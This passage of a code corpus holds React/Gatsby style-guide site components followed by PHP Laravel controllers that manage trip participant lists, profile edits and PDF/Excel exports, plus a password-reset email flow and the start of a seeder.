backgroundPositionY: 'center', backgroundPositionX: '5px', transition: 'width 0.4s', borderRadius: '0.25rem', ':focus': { backgroundColor: '#474a52', width: '16rem' } }); export const components = { docSearch }; <file_sep>/src/components/MarkdownHeader/index.js export { MarkdownHeader } from './MarkdownHeader'; <file_sep>/src/components/MarkdownHeader/MarkdownHeader.js import React from 'react'; import Box from 'smooth-ui/Box'; import Typography from 'smooth-ui/Typography'; export const MarkdownHeader = ({ title }) => ( <Box component="header"> <Typography variant="h1">{title}</Typography> </Box> ); <file_sep>/src/theme/colors.js export const colors = { lighter: '#373940', dark: '#282c34', darker: '#20232a', brand: '#f4dc20', brandLight: '#f4dc20', brandDark: '#a79616', link: '#d0b800', text: '#1a1a1a', subtle: '#6d6d6d', subtleOnDark: '#999', divider: '#ececec', note: '#ffe564', error: '#ff6464', white: '#ffffff', black: '#000000' }; // light blue // dark blue // really dark blue // electric blue // very dark grey / black substitute // light grey for text // very light grey // yellow // yellow <file_sep>/src/utils/createLink.js import Link from 'gatsby-link'; import React from 'react'; import slugify from '../utils/slugify'; const createLinkDocs = ({ isActive, item, section }) => { return ( <Link css={[linkCss, isActive && activeLinkCss]} to={slugify(item.id, section.directory)}> {isActive && <span css={activeLinkBefore} />} {item.title} </Link> ); }; export { createLinkDocs }; <file_sep>/src/docs/javascript.md --- path: /javascript title: JavaScript --- # javascript WIP <file_sep>/src/theme/grid-styles.js import { css } from 'glamor'; import { colors } from './colors'; const pageContainer = css({ display: 'grid', height: '100vh', gridTemplateColumns: '20vw auto', gridTemplateRows: '60px auto 140px', fontSize: '16px', lineHeight: '24px' }); const pageNavBar = css({ height: '60px', background: colors.darker, position: 'fixed', width: '100%', gridRow: 1, gridColumn: '1 / -1' }); const pageSideBar = css({ position: 'fixed', overflowY: 'auto', gridRow: 2, gridColumn: '1 / 2', top: '60px', padding: '2.4rem', width: '20vw', height: '100%', backgroundColor: '#ececec', boxShadow: 'inset 0 4px 5px 0 rgba(102, 51, 153, 0.07), inset 0 1px 10px 0 rgba(157, 124, 191, 0.06), inset 0 2px 4px - 1px rgba(157, 124, 191, 0.1)', webkitoverflowscrolling: 'touch', fontSize: '14px', '::-webkit-scrollbar': { width: '6px', height: '6px' }, '::-webkit-scrollbar-thumb': { height: '2px', background: '#ecd9dbba', borderRadius: '10px' }, '::-webkit-scrollbar-scrollbar-track': { background: '#f5f3f7' } }); const pageMainContent = css({ padding: '30px', gridRow: 2, gridColumn: '2 / 2' }); const pageFooter = css({ background: colors.darker, gridRow: 3, gridColumn: 2 }); export const gridStyles = { pageContainer, pageNavBar, pageMainContent, pageFooter, pageSideBar }; <file_sep>/src/components/MarkdownPage/index.js import React from 'react'; import Helmet from 'react-helmet'; import { MarkdownHeader } from '../MarkdownHeader'; import { MarkdownContent } from '../MarkdownContent'; import { MarkdownFooter } from '../MarkdownFooter'; import Box from 'smooth-ui/Box'; import { sharedStyles } from '../../theme'; import { createLinkDocs } from '../../utils/createLink'; export const MarkdownPage = ({ data, transition }) => { const { markdownRemark } = data; // data.markdownRemark holds our post data const { frontmatter, html } = markdownRemark; return ( <Box style={transition && transition.style} className="markdown--article" component="article" padding="10px" direction="column" > <Helmet title="Resources" /> <MarkdownContent markdownRemark={markdownRemark} /> <MarkdownFooter page={frontmatter} /> </Box> ); }; <file_sep>/README.md # README WIP ## [https://a-style-guide.netlify.com/](https://a-style-guide.netlify.com/) <file_sep>/src/components/MarkdownFooter/index.js export { MarkdownFooter } from './MarkdownFooter'; <file_sep>/src/layouts/index.js import React, { Component } from 'react'; import { Navbar } from '../components/Navbar'; import { Footer } from '../components/Footer'; import { Sidebar } from '../components/Sidebar'; import { Main } from '../components/Main'; import { HelmetData } from './HelmetData'; import { sharedStyles, gridStyles } from '../theme'; import '../theme/prism-styles'; import '../css/reset.css'; import '../css/algolia.css'; import '../css/style.css'; const TemplateWrapper = ({ children }) => ( <div className={`${gridStyles.pageContainer} ${sharedStyles}`}> <Navbar /> <Sidebar /> <Main>{children()}</Main> <Footer /> </div> ); export default TemplateWrapper; <file_sep>/src/docs/typescript.md --- path: /typescript title: Typescript --- # typescript WIP <file_sep>/src/theme/elements.js import { css } from 'glamor'; import { colors } from './colors'; let rainbow = css.keyframes({ '12.5%': { fill: '#ff0000' }, '25%': { fill: '#ffa500' }, '37.5%': { fill: '#ffff00' }, '50%': { fill: '#7fff00' }, '62.5%': { fill: '#00ffff' }, '75%': { fill: '#0000ff' }, '87.5%': { fill: '#9932cc' }, '100%': { fill: '#ff1493' } }); const selectedLink = css({ borderBottom: '5px solid #f7df20' }); const linkItem = css({ position: 'relative', userSelect: 'none', transition: 'color 0.2s', ':hover': { color: colors.brandDark } }); const link = { item: linkItem, selected: selectedLink }; const defaultIcon = css({ transition: '0.3s', ':hover': { fill: colors.brand } }); const darkIcon = css({ transition: '0.3s', ':hover': { fill: colors.subtleOnDark } }); const icon = { default: defaultIcon, dark: darkIcon }; export const elements = { link, icon }; <file_sep>/src/docs/react.md --- path: /react title: React --- # react WIP <file_sep>/src/layouts/HelmetData.js import React from 'react'; import Helmet from 'react-helmet'; import Favicon from './favicon.ico'; export const HelmetData = () => ( <Helmet title="Awesome Collection of resources" meta={[ { name: 'description', content: `Making the web a better place` } ]} > <link rel="shortcut icon" type="image/x-icon" href={Favicon} /> <link rel="stylesheet" href="//fonts.googleapis.com/css?family=Roboto:300,400,400italic,500,500italic,700,700italic|Roboto+Mono:400,500,700|Material+Icons" />> </Helmet> ); <file_sep>/src/components/Sidebar/index.js import React from 'react'; import Link from 'gatsby-link'; import Typography from 'smooth-ui/Typography'; import Ionicon from 'react-ionicons'; import { gridStyles, sharedStyles } from '../../theme'; import Box from 'smooth-ui/Box'; export const Sidebar = () => ( <div className={gridStyles.pageSideBar}> <Box margin="0 0 10px 0"> <Typography variant="h1">Menu</Typography> </Box> <ul> <Box component="li" margin="0 0 5px 0"> <Typography variant="h5"> <Link to="/demo" className={`${sharedStyles.link.item}`} activeClassName={`${sharedStyles.link.selected}`}> Demo </Link> </Typography> </Box> <Box component="li" margin="0 0 5px 0"> <Typography variant="h5"> <Link to="/airbnb" className={`${sharedStyles.link.item}`} activeClassName={`${sharedStyles.link.selected}`}> Airbnb Demo </Link> </Typography> </Box> <Box component="li" margin="0 0 5px 0"> <Typography variant="h5"> <Link to="/react" className={`${sharedStyles.link.item}`} activeClassName={`${sharedStyles.link.selected}`}> React </Link> </Typography> </Box> <Box component="li" margin="0 0 5px 0"> <Typography variant="h5"> <Link to="/javascript" className={`${sharedStyles.link.item}`} activeClassName={`${sharedStyles.link.selected}`} > JavaScript </Link> </Typography> </Box> <Box component="li" margin="0 0 5px 0"> <Typography variant="h5"> <Link to="/typescript" className={`${sharedStyles.link.item}`} activeClassName={`${sharedStyles.link.selected}`} > TypeScript </Link> </Typography> </Box> </ul> </div> ); <file_sep>/src/theme/fonts.js import { media } from './media'; import { css } from 'glamor'; export const fonts = css({ header: { fontSize: 60, lineHeight: '65px', fontWeight: 700, [media.lessThan('medium')]: { fontSize: 40, lineHeight: '45px' } }, small: { fontSize: 14 } });
5d114306d5e25ef154d067f256ca0be126c4adb1
[ "Markdown", "JavaScript" ]
21
Markdown
rajjejosefsson/code-styleguide
706bc23dd87d4411811b964d5373e4f5a546c968
33904ba9b6249e280361ed0fc383c615c36df7ae
refs/heads/master
<file_sep>const client = require('../redis'); //const { clientRest } = require('../client/client'); //const clientRest = require('../client/restClient'); var Redis = require('ioredis'); var redis = new Redis(6379, 'localhost'); var Client = require('node-rest-client').Client; // direct way var clientRest = new Client(); function cache(req, res, next) { const name = req.params.name; console.log(req.params.name + '********* name ' + name); client.get(name, (err, data) => { if (err) throw err; if (data !== null && data != '[]') { res.send(setResponse(name, data)); console.log('resultado desde cache') } else { console.log('resultado desde BD') next(); } }); } async function getRepos(req, res, next) { try { console.log("Fetching Data"); const name = req.params.name; clientRest.get("http://localhost:3000/api/product/" + name, function (data) { console.log('*** resultado ' + JSON.stringify(data)); client.setex(name, 3600, JSON.stringify(data)); res.send(setResponse(name, JSON.stringify(data))); }); } catch (err) { console.log(err); } } function setResponse(name, repos) { return repos; } function getListRedis(req, res) { var name = req.params.name; client.keys(name + '*', function (err, keys) { if (err) return console.log(err); for (var i = 0, len = keys.length; i < len; i++) { console.log(keys[i]); } res.json(keys); }); /* var stream = redis.scanStream(); var keys = []; stream.on('data', function (resultKeys) { // `resultKeys` is an array of strings representing key names for (var i = 0; i < resultKeys.length; i++) { console.log('for ', resultKeys[i]); keys.push(resultKeys[i]); } }); stream.on('end', function () { console.log('done with the keys: ', keys); res.json(keys) }); return keys;*/ } module.exports = { getRepos, cache, getListRedis }<file_sep>const client = require('./client'); async function getProducto(nombre) { // direct way const resultado = await client.get("http://localhost:3000/api/product/" + nombre); if (resultado) { return resultado; } return 'No se encontraron resultados' } module.exports = { getProducto }<file_sep>var express =require('express'); var { json } =require('express'); var morgan =require('morgan'); //Importamos las rutas var productRoutes = require('./routes/productRedis'); var app = express(); //middleware app.use(morgan('dev')); app.use(json()); //routes app.use('/redis/product',productRoutes); app.get('/index.html', function (req, res) { res.sendFile(__dirname + "/" + "index.html"); }) module.exports=app;<file_sep>var { Router } = require('express'); var router = new Router(); var ProductRedis = require('../controllers/productRedis.controller'); // /api/user/ //router.get('/', ProductRedis.getAllProducts); //router.get('/:id', ProductRedis.getOne); router.get('/:name', ProductRedis.cache, ProductRedis.getRepos); router.get('/predictiva/:name', ProductRedis.getListRedis); module.exports = router;<file_sep>var redis = require('redis'); var REDIS_PORT = process.env.REDIS_PORT || 6379; var client = redis.createClient(REDIS_PORT); module.exports = client;
030a43a0cf6dadd87ebc8382d80832e5d5c3b8a6
[ "JavaScript" ]
5
JavaScript
ricardoenriquez/RedisApp
ebe5a23367c5173a46dbc4447b9d808fc7e596d1
557805411f745030823960d55d7454119ef0634c
refs/heads/master
<repo_name>929364989/JsInjectLib<file_sep>/x5Lib/X5WebViewNotification.h // // X5WebViewNotification.h // x5Lib // // Created by 123 on 2019/1/18. // Copyright © 2019年 xw. All rights reserved. // #ifndef X5WebViewNotification_h #define X5WebViewNotification_h #define X5WebViewNotification_setOrientation @"setOrientation" #define X5WebViewNotification_jumpToLink @"jumpToLink" #define X5WebViewNotification_showToolBar @"showToolBar" #define X5WebViewNotification_hideToolBar @"hideToolBar" #define X5WebViewNotification_logout @"logout" #endif /* X5WebViewNotification_h */ <file_sep>/x5Lib/CocoaTemplateEngine/inject_template.js // // WKWebView注入模板 // xwshell对象 // // xwshell对象 window.xwshell = { }; window.deviceInfo = { }; window.xwshell.getDeviceInfo = function() { return window.deviceInfo; } // 属性方法 window.xwshell.addProperties = function(params) { var data = params; if (typeof params === 'string') { data = JSON.parse(params); } for(var key in data) { window.deviceInfo[key] = data[key]; window.xwshell[key] = data[key]; } } // 注入数据 var native_inject_data = '{{}}'; window.xwshell.addProperties(native_inject_data); // 通用的发送消息函数 window.xwshell.getPostMessage = function(name) { return function(params) { var obj = {}; if(params) { if (typeof params === 'string') { try { var data = JSON.parse(params); if(typeof data == 'object' && data ){ console.log('try——if') obj = data; }else{ obj.value = params; } } catch(e) { obj.value = params; } } obj.method = name; // 原生方法名 } else { var obj = {}; obj.method = name; } window.webkit.messageHandlers.xwWebView.postMessage(obj); }; }; var xwPlatform = 'iOS_Shell'; // 方法别名 var methods = [/*硬件支持*/ 'getLocation', //获取当前位置 'getOrientation', //获取设备方向 'saveImageToPhotosAlbum', //保存到相册 'vibrate', //设备震动 'setOrientation', //设备方向 /*获取设备信息*/ 'getNetworkState', //获取网络状态 /*通讯接口*/ 'request', //网络请求 /*控制器跳转*/ 'backToCarList', //返回车型列表页 /*微信分享*/ 'wxShare', /*链接跳转*/ 'jumpToLink', 'showToolBar', 'hideToolBar', /*控制器跳转*/ 'logout' //退出登录,返回首页 ]; methods.forEach(function(name) { window.xwshell[name] = window.xwshell.getPostMessage(name); }); // webView调用方法添加函数 window.xwshell.addMethods = function(names) { names.forEach(function(name) { window.xwshell[name] = window.xwshell.getPostMessage(name); }); } /*用户信息*/ //var user = '[[user]]'; window.xwshell.saveUser = function(user) { localStorage.setItem("user",user); } window.xwshell.sveBaseUrl = function(baseUrl) { localStorage.setItem("baseUrl",baseUrl); } //window.xwshell.getUser = function() { // var user = localStorage.getItem("user"); // var json_str = JSON.parse(user) // console.log('============' + json_str); // return json_str; //// return user; //} // 给网页一个初始化的机会 window.xwshellReady && window.xwshellReady();
e0e9bc72b4479357fea91e8c7d22c2e606246f16
[ "JavaScript", "C" ]
2
C
929364989/JsInjectLib
0939eb85bf77638a91b0c9b19773de157c4c2a7f
835f10710c02c55414e0d40568b15c7d7122a8ff
refs/heads/master
<repo_name>dscrane/js_quiz<file_sep>/README.md Making a simple quiz app with vanilla JS, HTML, CSS. <file_sep>/scripts.js // Defined DOM elements used throughout // Previous and Next buttons const previousButton = document.querySelector(".quiz__cta-previous"); const nextButton = document.querySelector(".quiz__cta-next"); // Modal display and interactions const modal = document.querySelector(".results__modal"); const modalScore = document.querySelector(".results__display"); const modalCloseButton = document.querySelector(".results__modal-close"); // Quiz content const quizContent = document.querySelector(".quiz__section-question"); // Results Display element const resultDisplay = document.querySelector(".results__display"); // Set variable for page scope let currentQuestion = 0; let userAnswers = {}; // Handle displaying quiz questions // Array of questions to pass to the questionTemplate const questions = [ { id: 0, value: "landing", text: "Welcome to a quick lord of the rings quiz!", }, { id: 1, value: "4", text: "What is the name of Saruman's tower?", options: ["Barad-dûr", "<NAME>", "Minas Morgal", "Orthanc"], src: "./assets/question_1_img.jpg", }, { id: 2, value: "2", text: "What is the name of the main river in the Shire?", options: ["The Anduin", "The Brandywine", "The Greenway", "The Hobbiton"], src: "./assets/question_2_img.jpg", }, { id: 3, value: "2", text: "What is the true name of the White City of Gondor?", options: ["Edoras", "Minas Tirith", "Erebor", "Dunharrow"], src: "./assets/question_3_img.jpg", }, { id: 4, value: "3", text: "What creature attacked Frodo and Sam in the mountains of Mordor?", options: ["Nazgûl", "Orc", "Spider", "Warg"], src: "./assets/question_4_img.jpg", }, { id: 5, value: "4", text: "What beast did Gandalf defeat in the Mines of Moria?", options: ["Necromancer", "Dragon", "Uruk-hi", "Balrog"], src: "./assets/question_5_img.jpg", }, ]; // Initialize switch for case 0 console.log(currentQuestion); handleChange(currentQuestion); // increment current question when next button is clicked nextButton.addEventListener("click", () => handleNext()); // decrement current question when previous button is clicked previousButton.addEventListener("click", () => handlePrevious()); function handleNext() { currentQuestion > 6 ? (currentQuestion = 6) : (currentQuestion = currentQuestion + 1); handleChange(currentQuestion); } function handlePrevious() { if (nextButton.innerHTML === "Submit") { nextButton.innerHTML = "Next"; } currentQuestion <= 0 ? (currentQuestion = 0) : (currentQuestion = currentQuestion - 1); handleChange(currentQuestion); } // Handle moving between questions with next and previous buttons function handleChange(question) { switch (question) { case 0: console.log(questions[question]); quizContent.innerHTML = questionTemplate(questions[0]); break; case 1: quizContent.innerHTML = questionTemplate(questions[1]); addOptionListeners(); break; case 2: quizContent.innerHTML = questionTemplate(questions[2]); addOptionListeners(); break; case 3: quizContent.innerHTML = questionTemplate(questions[3]); addOptionListeners(); break; case 4: quizContent.innerHTML = questionTemplate(questions[4]); addOptionListeners(); break; case 5: quizContent.innerHTML = questionTemplate(questions[5]); addOptionListeners(); nextButton.innerHTML = "Submit"; break; case 6: resultDisplay.innerHTML = calculateScore(); modal.style.display = "block"; break; } } // Question Template to add to the quiz content function questionTemplate(currentQuestion) { if (currentQuestion.id === 0) { return ` <div class="question__title"> ${currentQuestion.text} </div>`; } else { return ` <div class="question__img"> <img class="question__img-asset" src="${currentQuestion.src}"></img> </div> <div class="question__title">${currentQuestion.text}</div> <div class="question__options"> <label class="question__option"> <input class="question__radio" type="radio" name="Question_${currentQuestion.id}" value="1" /> ${currentQuestion.options[0]} </label> <label class="question__option"> <input class="question__radio" type="radio" name="Question_${currentQuestion.id}" value="2" /> ${currentQuestion.options[1]} </label> <label class="question__option"> <input class="question__radio" type="radio" name="Question_${currentQuestion.id}" value="3" /> ${currentQuestion.options[2]} </label> <label class="question__option"> <input class="question__radio" type="radio" name="Question_${currentQuestion.id}" value="4" /> ${currentQuestion.options[3]} </label> </div> `; } } // Add event listeners for options for each question function addOptionListeners() { document.querySelectorAll(".question__option").forEach((button) => { button.addEventListener("click", setSelectedOption); }); } // Change the display of the currently selected answer function setSelectedOption() { if (this.control.checked) { this.classList.toggle("question__option-selected"); // Run function to collect answer from the currently selected element collectAnswer(this.control); } // Reset styles for unselected elements document.querySelectorAll(".question__option").forEach((res) => { if (res.classList.length > 1 && !this.control.checked) { res.classList.value = "question__option"; } }); } // Handle collecting the user answer function collectAnswer(control) { const answerValue = control.value === questions[currentQuestion].value ? 1 : 0; userAnswers[control.name] = answerValue; console.log(userAnswers); } // Calculate the score of the quiz on submition function calculateScore() { return Object.values(userAnswers).reduce((score, acc) => acc + score, 0); } // Handle modal display // Add event listener to modal element modalCloseButton.addEventListener("click", closeModal); // Function to close the modal function closeModal() { modal.style.display = "none"; resetGame(); } function resetGame() { currentQuestion = 0; userAnswers = {}; handleChange(currentQuestion); }
85533e2115f35f2001740bbc91ab64fc9e177837
[ "Markdown", "JavaScript" ]
2
Markdown
dscrane/js_quiz
bcc26bf2ecea1a97af5af0b8be994f6acd75634a
38882531a30135c786cdcb487e9248c3218ea57a
refs/heads/master
<file_sep><?php namespace App\Http\Controllers\Organiser; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Exception; use Illuminate\Support\Facades\Redirect; use PhpOffice\PhpSpreadsheet\IOFactory; use PhpOffice\PhpSpreadsheet\Writer\Pdf\Mpdf; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use App\Repositories\Contracts\TravellerRepository; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\CityRepository; use App\Repositories\Contracts\StudieRepository; use App\Http\Requests\ProfileEdit; use Illuminate\Support\Facades\Auth; class Partisipants extends Controller { /** * * @var travellerRepository */ private $travellers; /** * * @var tripRepository */ private $trips; /** * * @var cityRepository */ private $cities; /** * * @var studieRepository */ private $studies; /** * ProfileController Constructor * * @param travellerRepository $traveller * @param tripRepository $trip */ public function __construct(TravellerRepository $traveller, TripRepository $trip, CityRepository $city, StudieRepository $study) { $this->travellers = $traveller; $this->trips = $trip; $this->cities = $city; $this->studies = $study; } /* List of all filters */ protected $aFilterList = [ 'username'=>'Gebruikersnaam', 'study_name'=>'Richting', 'major_name'=>'Afstudeerrichting', 'birthdate' => 'Geboortedatum', 'birthplace' => 'Geboorteplaats', 'gender' => 'Geslacht', 'nationality' => 'Nationaliteit', 'address' => 'Adres', 'zip_code'=>'Postcode', 'city'=>'Stad', 'country' => 'Land', 'email' => 'Email', 'phone' => 'Telefoon', 'emergency_phone_1' => 'Nood Contact 1', 'emergency_phone_2' => 'Nood Contact 2', 'medical_info' => 'Medische Info', ]; /* List of applied filters */ protected $aFiltersChecked = array( 'last_name' => 'Familienaam', 'first_name' => 'Voornaam', ); /** * Generates a list of travellers based on the applied filters, current * authenticated user and selected trip. * * @author <NAME> * * @param Request $request * @param $sUserName * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View|string */ public function showFilteredList(Request $request, $iTripId = null) { $oUser = Auth::user(); /* Get all active trips and number of partisipants */ $aActiveTrips = $this->trips->getAllActive(); if($aActiveTrips->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } foreach ($aActiveTrips as $oTrip) { $aTripsAndNumberOfAttendants[$oTrip->trip_id]['trip_id'] = $oTrip->trip_id; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['name'] = $oTrip->name; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['year'] = $oTrip->year; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['numberOfAttends'] = $this->trips->getNumberOfAttendants($oTrip->trip_id); } /* Get all active trips that can be accessed by the user depending on his role */ if ($oUser->role == 'admin') { $aTripsByOrganiser = $aActiveTrips; }elseif ($oUser->role == 'guide') { $aTripsByOrganiser = $this->trips->getActiveByOrganiser($oUser->user_id); if($aTripsByOrganiser->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } } /* if tripId not set set tripId to the first active trip of the organiser */ if ($iTripId == null) { $iTripId = $aTripsByOrganiser[0]->trip_id; } /* Check if user can access the data of the requested trip */ if (!$aTripsByOrganiser->contains('trip_id',$iTripId)){ return abort(403); } /* Get the current trip */ $oCurrentTrip = $this->trips->get($iTripId); /* Detect the applied filters and add to the list of applied filters */ foreach ($this->aFilterList as $sFilterName => $sFilterText) { if ($request->post($sFilterName) != false) { $this->aFiltersChecked[$sFilterName] = $sFilterText; } } $aFiltersChecked = $this->aFiltersChecked; /* Get the travellers based on the applied filters */ $aDataToGet = array_add($aFiltersChecked, "username", true); //we always need the unsername $aUsers = $this->travellers->getTravellersDataByTrip($iTripId, $aDataToGet); /* Check witch download option is checked */ switch ($request->post('export')) { case 'excel': $this->downloadExcel($aDataToGet, $aUsers); break; case 'pdf': $this->downloadPDF($aDataToGet, $aUsers, $oTrip); break; } return view('organizer.lists.tripattendants', [ 'aUsers' => $aUsers, 'aFilterList' => $this->aFilterList, 'aFiltersChecked' => $aFiltersChecked, 'oCurrentTrip' => $oCurrentTrip, 'aTripsAndNumberOfAttendants' => $aTripsAndNumberOfAttendants, 'aTripsByOrganiser' => $aTripsByOrganiser, ]); } /** * @author <NAME> * @param $aFiltersChecked * @param $aUses * @return \Exception|Exception * This will download an excel file based on the session data of filters (the checked fields) */ private function downloadExcel($aFiltersChecked, $aUsers) { $aUserFields = $aFiltersChecked; try { /** Create a new Spreadsheet Object **/ $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $sheet->fromArray($aUserFields, '', 'A1'); $sheet->fromArray($aUsers, '', 'A2'); $writer = new Xlsx($spreadsheet); header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment; filename="travellers.xlsx"'); $writer->save("php://output"); exit; } catch (Exception $e) { return $e; } } /** * downloadPDF: deze functie zorgt ervoor dat je een pdf van de gefilterde lijst download. */ private function downloadPDF($aFiltersChecked, $aUsers,$oTrip){ $iCols = count($aUserFields = $aFiltersChecked); $aAlphas = range('A', 'Z'); try { $spreadsheet = new Spreadsheet(); /*----Spreadsheet object-----*/ $spreadsheet->getActiveSheet(); $activeSheet = $spreadsheet->getActiveSheet(); if($iCols>8){ $activeSheet->getPageSetup()->setOrientation(PageSetup::ORIENTATION_LANDSCAPE); } $activeSheet->fromArray($aUserFields,NULL, 'A1')->getStyle('A1:'.$aAlphas[$iCols-1].'1')->getFont()->setBold(true)->setUnderline(true); $activeSheet->getStyle('A1:'.$aAlphas[$iCols-1]."1")->getBorders()->getOutline()->setBorderStyle(1); $activeSheet->fromArray($aUsers,NULL,'A2'); foreach ($aUsers as $iRij => $sValue){ //$activeSheet->getStyle('A'.($iRij+2).':'.$aAlphas[$iCols-1].($iRij+2))->getBorders()->getOutline()->setBorderStyle(1); for($iI = 0;$iI<$iCols;$iI++){ $activeSheet->getStyle('A'.($iRij+2).':'.$aAlphas[$iI].($iRij+2))->getBorders()->getOutline()->setBorderStyle(1); } } IOFactory::registerWriter("PDF", Mpdf::class); $writer = IOFactory::createWriter($spreadsheet, 'PDF'); header('Content-Disposition: attachment; filename="'.$oTrip->name.'_gefilterde_lijst.pdf"'); $writer->save("php://output"); } catch (Exception $e) { return $e; } } /** * @author <NAME> * @param $iTrpId * @param $aUserName * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View|string * This will show the profile of the selecte Partisipant */ public function showPartisipantsProfile($iTripId, $sUserName) { $bIsOrganizer = $this->travellers->isOrganizerForTheTrip($iTripId); If ($bIsOrganizer){ $iUserId = $this->travellers->getIdByUsername($sUserName); $aUserData = $this->travellers->get($iUserId); return view('user.profile.profile', ['bIsOrganizer' => $bIsOrganizer,'aUserData' => $aUserData]); }else{ return redirect('/'); } } /** * Deletes the data of a selected user * * @author <NAME> * * @param $sUserName * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector|string */ public function destroyPartisipantsProfile($iTripId, $sUsername){ $bIsOrganizer = $this->travellers->isOrganizerForTheTrip($iTripId); If ($bIsOrganizer){ $this->travellers->destroy($sUsername); return redirect(route("partisipantslist"))->with('success', 'Je hebt je succesvol het account van '.$sUsername.' verwijdert.'); }else{ return Redirect::back()->withErrors(['je hebt geen rechten om dit profiel te wissen']); } } /** * @author <NAME> * @param $iTrpId * @param $aUserName * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View|string * This will edit the profile of the selecte Partisipant */ public function editPartisipantsProfile($iTripId, $sUserName) { $bIsOrganizer = $this->travellers->isOrganizerForTheTrip($iTripId); If ($bIsOrganizer){ $iUserId = $this->travellers->getIdByUsername($sUserName); $aUserData = $this->travellers->get($iUserId); $aTrips = $this->trips->getAllActive(); foreach ($aTrips as $oTrip){ $aTripSelectList[$oTrip->trip_id] = $oTrip->name." ".$oTrip->year; } $aStudies = $this->studies->get(); foreach ($aStudies as $oStudy){ $aStudySelectList[$oStudy->study_id] = $oStudy->study_name; } $oZips = $this->cities->get(); $aMajors = $this->studies->getMajorsByStudy($aUserData['study_id']); return view('user.profile.profileEdit', ['sEditor' => 'organiser','aUserData' => $aUserData, 'aTrips' => $aTripSelectList, 'oZips' => $oZips, 'aStudies' => $aStudySelectList, 'aMajors' => $aMajors]); }else{ return Redirect::back()->withErrors(['je hebt geen rechten om dit profiel aan te passen']); } } /** * @author <NAME> * @param \App\Http\Controllers\Organiser\ProfileEdit $aRequest * @param type $iTripId * @param type $sUserName * @return redirect */ public function updatePartisipantsProfile(ProfileEdit $aRequest, $iTripId, $sUserName) { $bIsOrganizer = $this->travellers->isOrganizerForTheTrip($iTripId); If ($bIsOrganizer){ $iUserId = $this->travellers->getIdByUsername($sUserName); $aProfileData = [ 'last_name' => $aRequest->post('LastName'), 'first_name' => $aRequest->post('FirstName'), 'gender' => $aRequest->post('Gender'), 'major_id' => $aRequest->post('Major'), 'iban' => $aRequest->post('IBAN'), 'bic' => $aRequest->post('BIC'), 'medical_issue' => $aRequest->post('MedicalIssue'), 'medical_info' => $aRequest->post('MedicalInfo'), 'birthdate' => $aRequest->post('BirthDate'), 'birthplace' => $aRequest->post('Birthplace'), 'nationality' => $aRequest->post('Nationality'), 'address' => $aRequest->post('Address'), 'zip_id' => $aRequest->post('City'), 'country' => $aRequest->post('Country'), 'phone' => $aRequest->post('Phone'), 'emergency_phone_1' => $aRequest->post('icePhone1'), 'emergency_phone_2' => $aRequest->post('icePhone2'), ]; $this->travellers->update($aProfileData,$iUserId); //if trip changed update trip (not possible for an organizer) if($iTripId != $aRequest->post('Trip')){ if( Auth::user()->user_id != $iUserId){ $this->travellers->changeTrip($iUserId, $iTripId, $aRequest->post('Trip')); }else{ return Redirect::back()->withErrors(['je kan je geen organisator maken van een andere reis dan die je is toegekend']); } } return redirect('/organiser/showpartisipant/'.$iTripId.'/'.$sUserName); }else{ return Redirect::back()->withErrors(['je hebt geen rechten om dit profiel aan te passen']); ; } } } <file_sep><?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Carbon\Carbon; use Illuminate\Support\Str; use Illuminate\Support\Facades\Mail; use App\Repositories\Contracts\TravellerRepository; use App\Repositories\Contracts\UserRepository; //use App\Models\User; use App\Mail\ResetPas; class ForgotPasswordController extends Controller { /* |-------------------------------------------------------------------------- | Password Reset Controller |-------------------------------------------------------------------------- | | This controller is responsible for handling password reset emails and | includes a trait which assists in sending these notifications from | your application to your users. Feel free to explore this trait. | */ /** * * @var TravellerRepository */ private $travellers; /** * * @var UserRepository */ private $users; /** * ForgotPasswordController Constructor * * @param travellerRepository $traveller */ public function __construct(TravellerRepository $traveller, UserRepository $user) { $this->travellers = $traveller; $this->users = $user; } public function ShowEnterEmailForm() { if (Auth::check()){ return redirect(route('/')); } else{ return view('auth.passwords.enterEmail'); } } public function EnterEmailFormPost(Request $request){ $email = $request->input('email'); Try { $oTraveller = $this->travellers->getByEmail($email); if ($oTraveller == ""){ return back()->with('message', 'Geen gebruiker gevonden met dit emailadres.'); } $userId = $oTraveller->user_id; $name = $oTraveller->first_name; $surname = $oTraveller->last_name; $fullname = $name . " " . $surname; $year = Carbon::now()->year; $month = Carbon::now()->month; if ($month < 10){ $month = '0'. $month; } $day = Carbon::now()->day; if ($day < 10){ $day = '0'. $day; } $hour = (string)Carbon::now()->hour; if ($hour < 10){ $hour = '0'. $hour; } $minute = Carbon::now()->minute; if ($minute < 10){ $minute = '0'. $minute; } $aUserData['resettoken'] = $year.$month.$day.$hour.$minute.Str::random().'*'.$userId; $this->users->update($aUserData, $userId); //$token = $year.$month.$day.$hour.$minute.Str::random().'*'.$travellerid; //User::where('user_id',$travellerid)->update(['resettoken' => $token]); $aMailData = [ 'subject' => 'Password reset', 'fullname' => $fullname, 'email' => $email, 'token' => $aUserData['resettoken'] ]; Mail::to($email)->send(new ResetPas($aMailData)); return redirect()->route("log")->with('message', 'De Mail met de paswoord reset instructie is verstuurd.'); } catch (\Exception $e ){ return redirect()->route("log")->with('errormessage', 'Er is een fout opgetreden met het versturen van de mail, gebruik het contactformulier om dit te melden.'); } } } <file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class MajorsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { //id = 1 DB::table('majors')->insert(array( 'study_id' => 1, 'major_name' 